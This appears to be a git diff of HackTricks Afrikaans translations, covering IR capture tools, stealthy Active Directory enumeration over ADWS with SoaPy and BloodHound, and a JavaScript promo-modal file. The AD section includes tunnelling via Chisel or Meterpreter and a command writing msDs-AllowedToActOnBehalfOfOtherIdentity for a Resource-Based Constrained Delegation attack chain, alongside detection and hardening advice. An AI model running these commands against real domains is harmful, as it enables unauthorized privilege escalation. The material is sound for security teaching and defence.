||||
```
|
||||
* **IRscrutinizer / AnalysIR** – GUI dekoders wat rou vangste invoer en protokol outomaties identifiseer + genereer Pronto/Arduino kode.
|
||||
* **IRscrutinizer / AnalysIR** – GUI dekoders wat rou vangste invoer en outomaties protokol identifiseer + Pronto/Arduino kode genereer.
|
||||
* **LIRC / ir-keytable (Linux)** – ontvang en inspuit IR vanaf die opdraglyn:
|
||||
```bash
|
||||
sudo ir-keytable -p nec,rc5 -t # live-dump gedecodeerde scankodes
|
||||
sudo ir-keytable -p nec,rc5 -t # live-dump gedecodeerde skandeerkodes
|
||||
irsend SEND_ONCE samsung KEY_POWER
|
||||
```
|
||||
|
||||
|
@ -34,9 +34,9 @@ python3 -m pip install soapy-adws # or git clone && pip install -r requirement
|
||||
```
|
||||
## Stealth AD Collection Workflow
|
||||
|
||||
Die volgende werksvloei toon hoe om **domein & ADCS-objekte** oor ADWS te enummer, dit na BloodHound JSON om te skakel en jag vir sertifikaat-gebaseerde aanvalspaaie – alles vanaf Linux:
|
||||
Die volgende werksvloei toon hoe om **domein & ADCS-objekte** oor ADWS te enumerate, dit na BloodHound JSON om te skakel en jag te maak vir sertifikaat-gebaseerde aanvalspaaie – alles vanaf Linux:
|
||||
|
||||
1. **Tunnel 9389/TCP** van die teiken netwerk na jou boks (bv. via Chisel, Meterpreter, SSH dinamiese poort-voorwaarts, ens.). Eksporteer `export HTTPS_PROXY=socks5://127.0.0.1:1080` of gebruik SoaPy se `--proxyHost/--proxyPort`.
|
||||
1. **Tunnel 9389/TCP** vanaf die teiken netwerk na jou boks (bv. via Chisel, Meterpreter, SSH dinamiese poort-voorwaarts, ens.). Eksporteer `export HTTPS_PROXY=socks5://127.0.0.1:1080` of gebruik SoaPy se `--proxyHost/--proxyPort`.
|
||||
|
||||
2. **Versamel die worteldomein objek:**
|
||||
```bash
|
||||
@ -64,7 +64,7 @@ soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
|
||||
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
|
||||
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
|
||||
```
|
||||
Combineer dit met `s4u2proxy`/`Rubeus /getticket` vir 'n volledige **Hulpbron-gebaseerde Beperkte Afvaardiging** ketting.
|
||||
Combineer dit met `s4u2proxy`/`Rubeus /getticket` vir 'n volledige **Resource-Based Constrained Delegation** ketting.
|
||||
|
||||
## Opsporing & Versterking
|
||||
|
||||
@ -81,7 +81,7 @@ Events sal verskyn onder **Directory-Service** met die volle LDAP-filter, selfs
|
||||
### SACL Canary Objects
|
||||
|
||||
1. Skep 'n dummy objek (bv. gedeaktiveerde gebruiker `CanaryUser`).
|
||||
2. Voeg 'n **Audit** ACE by vir die _Everyone_ prinsiep, geoudit op **ReadProperty**.
|
||||
2. Voeg 'n **Audit** ACE by vir die _Everyone_ prinsiep, geauditeer op **ReadProperty**.
|
||||
3. Wanneer 'n aanvaller `(servicePrincipalName=*)`, `(objectClass=user)` ens. uitvoer, stuur die DC **Event 4662** wat die werklike gebruiker SID bevat – selfs wanneer die versoek geproksieer of van ADWS afkomstig is.
|
||||
|
||||
Elastic voorafgeboude reël voorbeeld:
|
||||
|
@ -1,4 +1,4 @@
|
||||
# BloodHound & Ander Aktiewe Gidsen van Directory
|
||||
# BloodHound & Ander Aktiewe Gidsen Vir Directory Enumerasie
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
adws-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
> LET WEL: Hierdie bladsy groepeer sommige van die nuttigste nutsmiddels om **te enumerate** en **te visualiseer** Aktiewe Directory verhoudings. Vir versameling oor die stealthy **Active Directory Web Services (ADWS)** kanaal, kyk na die verwysing hierbo.
|
||||
> LET WEL: Hierdie bladsy groepeer sommige van die nuttigste nutsmiddels om **te enumerate** en **te visualiseer** Aktiewe Gidsenverhoudings. Vir versameling oor die stealthy **Aktiewe Gids Web Dienste (ADWS)** kanaal, kyk na die verwysing hierbo.
|
||||
|
||||
---
|
||||
|
||||
@ -16,13 +16,13 @@ adws-enumeration.md
|
||||
|
||||
* GUI-browsing van die gidsboom
|
||||
* Redigering van objekattributen & sekuriteitsbeskrywings
|
||||
* Snapshot skepping / vergelyking vir offline analise
|
||||
* Snapshot skepping / vergelyking vir aflyn analise
|
||||
|
||||
### Vinnige gebruik
|
||||
|
||||
1. Begin die hulpmiddel en verbind met `dc01.corp.local` met enige domein akrediteer.
|
||||
2. Skep 'n offline snapshot via `File ➜ Create Snapshot`.
|
||||
3. Vergelyk twee snapshots met `File ➜ Compare` om toestemming verskille op te spoor.
|
||||
2. Skep 'n aflyn snapshot via `File ➜ Create Snapshot`.
|
||||
3. Vergelyk twee snapshots met `File ➜ Compare` om toestemming verskuiwings op te spoor.
|
||||
|
||||
---
|
||||
|
||||
|
24
theme/ai.js
24
theme/ai.js
@ -1,6 +1,6 @@
|
||||
/**
|
||||
* HackTricks Training Discounts
|
||||
*/
|
||||
|
||||
|
||||
|
||||
(() => {
|
||||
@ -9,13 +9,13 @@
|
||||
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
||||
const URL = 'https://training.hacktricks.xyz';
|
||||
|
||||
/* Stop if user already dismissed */
|
||||
// Stop if user already dismissed
|
||||
if (localStorage.getItem(KEY) === 'true') return;
|
||||
|
||||
/* Quick helper */
|
||||
// Quick helper
|
||||
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
|
||||
|
||||
/* --- Overlay (blur + dim) --- */
|
||||
// --- Overlay (blur + dim) ---
|
||||
const overlay = $('div', `
|
||||
position: fixed; inset: 0;
|
||||
background: rgba(0,0,0,.4);
|
||||
@ -24,7 +24,7 @@
|
||||
z-index: 10000;
|
||||
`);
|
||||
|
||||
/* --- Modal --- */
|
||||
// --- Modal ---
|
||||
const modal = $('div', `
|
||||
max-width: 90vw; width: 480px;
|
||||
background: #fff; border-radius: 12px; overflow: hidden;
|
||||
@ -33,10 +33,10 @@
|
||||
display: flex; flex-direction: column; align-items: stretch;
|
||||
`);
|
||||
|
||||
/* --- Title bar (link + close) --- */
|
||||
// --- Title bar (link + close) ---
|
||||
const titleBar = $('div', `
|
||||
position: relative;
|
||||
padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
|
||||
padding: 1rem 2.5rem 1rem 1rem; // room for the close button
|
||||
text-align: center;
|
||||
background: #222; color: #fff;
|
||||
font-size: 1.3rem; font-weight: 700;
|
||||
@ -53,7 +53,7 @@
|
||||
link.textContent = TXT;
|
||||
titleBar.appendChild(link);
|
||||
|
||||
/* Close "X" (no persistence) */
|
||||
// Close "X" (no persistence)
|
||||
const closeBtn = $('button', `
|
||||
position: absolute; top: .25rem; right: .5rem;
|
||||
background: transparent; border: none;
|
||||
@ -65,11 +65,11 @@
|
||||
closeBtn.onclick = () => overlay.remove();
|
||||
titleBar.appendChild(closeBtn);
|
||||
|
||||
/* --- Image --- */
|
||||
// --- Image ---
|
||||
const img = $('img');
|
||||
img.src = IMG; img.alt = TXT; img.style.width = '100%';
|
||||
|
||||
/* --- Checkbox row --- */
|
||||
// --- Checkbox row ---
|
||||
const label = $('label', `
|
||||
display: flex; align-items: center; justify-content: center; gap: .6rem;
|
||||
padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
|
||||
@ -83,7 +83,7 @@
|
||||
};
|
||||
label.append(cb, document.createTextNode("Don't show again"));
|
||||
|
||||
/* --- Assemble & inject --- */
|
||||
// --- Assemble & inject ---
|
||||
modal.append(titleBar, img, label);
|
||||
overlay.appendChild(modal);
|
||||
|
||||
@ -93,7 +93,7 @@
|
||||
document.body.appendChild(overlay);
|
||||
}
|
||||
})();
|
||||
|
||||
*/
|
||||
|
||||
|
||||
/**
|
||||
|
Loading…
x
Reference in New Issue
Block a user